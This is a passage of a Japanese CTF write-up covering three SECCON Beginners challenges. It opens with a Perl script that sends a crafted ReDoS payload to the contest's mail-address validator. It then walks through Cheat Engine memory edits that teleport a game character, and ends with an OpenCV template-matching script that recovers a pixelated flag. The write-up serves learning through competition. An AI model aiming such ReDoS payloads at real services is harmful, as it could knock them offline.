#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"mail-address-validator.quals.beginners.seccon.jp",
	PeerPort=>5100, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);


print $sock "-\@";
my $data = "a" x 10000;
for (my $i = 0; $i < 10; $i++) {
	print $sock $data;
	print $sock ".";
}
print $sock "a\n";

while (<$sock>) { print $_; }

close($sock);
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

fly

ウディタ製っぽいゲームのファイル一式が与えられた。

ゲームを起動すると、以下のような画面になった。

初期画面

以降、Cheat Engineでアタッチして解析と攻撃を行った。
まず、矢印キーでキャラクターを動かせるが、壁の外には出られないようなので、座標を操作して脱出することを狙った。

  1. Scan Type を Unknown initial value にして、First Scan を押す
  2. キャラクターをちょっと左に動かす
  3. Scan Type を Decreased value にして、Next Scan を押す
  4. 2と3を数回繰り返す

これにより、キャラクターのx座標がGame.exe+6861B8 (00A861B8)に入っていることがわかった。
この値を40にすることで、キャラクターを壁の外に出すことができた。
フィールドにはctf4b{}と書かれており、{}の間に青い階段のような模様があった。
しかし、この青い階段のような模様に触っても何も起きなかった。

フィールドの様子

また、初期位置の壁の近くにあった赤い階段のような模様に触ると、以下のような画面になった。

別のマップ

この画面の左上の階段のような模様に触ることで、元の画面に戻ることができた。

ここからは、青い階段のような模様に触ることで行けるはずのマップに行くことを狙うことにした。
主人公を別のマップに移動させたい
を参考にすると、マップは小さい整数で表されそうである。
同じマップ内を移動して Unchanged value で Next Scan 、マップ遷移させて Changed value で Next Scan
を繰り返し、さらに「Game.exeと表示される小さい値」というヒューリスティックで絞り込むことで、
以下の候補に絞ることができた。

  • Game.exe+6836D8 (00A836D8)
  • Game.exe+68A058 (00A8A058)
  • Game.exe+68A064 (00A8A064)
  • Game.exe+68A098 (00A8A098)

しかし、このなかのどれを普通に書き換えても、うまくマップを遷移させることはできなかった。
そこで、これらの場所に対してBrowse this memory region → Data Breakpoint → Breakpoint on Write を設定した。
この状態でマップ遷移することで、ブレークポイントに引っかかるのが確認できた。
このとき、最初にデータが変化したのは Game.exe+6836D8 (00A836D8) であった。
そこで、このブレークポイントで止まった状態で、
ここの値を2に設定することで、以下の新しいマップに遷移することができた。
『新しいMAP』 (でびどる!) は関係ない。

新しいマップ

このマップには人が2体配置されており、左側の人に話しかける(スペースキーまたはエンターキー)ことで、
flagの残りの部分が表示された。

flagの表示

手打ちするのは面倒そうだったので、先頭部分b3_c4r3をメモリから探すことにした。
Memory Viewer の Search → Find memory から検索することで、この文字列を発見できた。
選択して Copy to clipboard を押すことで十六進表現がコピーできたので、CyberChefでデコードした。

ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}

depixelization

画像ファイル(PNG)と、それを生成したと考えられるPythonのソースコードが与えられた。

このプログラムは、flagを1文字ずつ画像に変換し、それを横に結合するものだった。
そこで、まずはこのプログラムのflagの部分を以下のように書き換え、
候補となる文字それぞれに対応するパターンを出力させた。

flag = ""

for i in range(0x20, 0x7f):
    flag += chr(i)

次に、
テンプレートマッチング — OpenCV-Python Tutorials 1 documentation
を参考にし、問題の画像の各文字を表す部分について最もよく当てはまるパターンを求めることで、flagが得られた。

match.py
match.py
import cv2

target = cv2.imread("depixelization/output.png")
zisyo = cv2.imread("output.png")

width = 85
height = target.shape[0]
t_width = target.shape[1]

ans = ""

t = 0
while t < t_width:
	sub = target[:,t:t+width]
	# cv2.imwrite("%04d.png" % t, sub)
	res = cv2.matchTemplate(zisyo, sub, cv2.TM_SQDIFF)
	min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
	ans += chr(0x20 + min_loc[0] // width)
	t += width

print(ans)
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?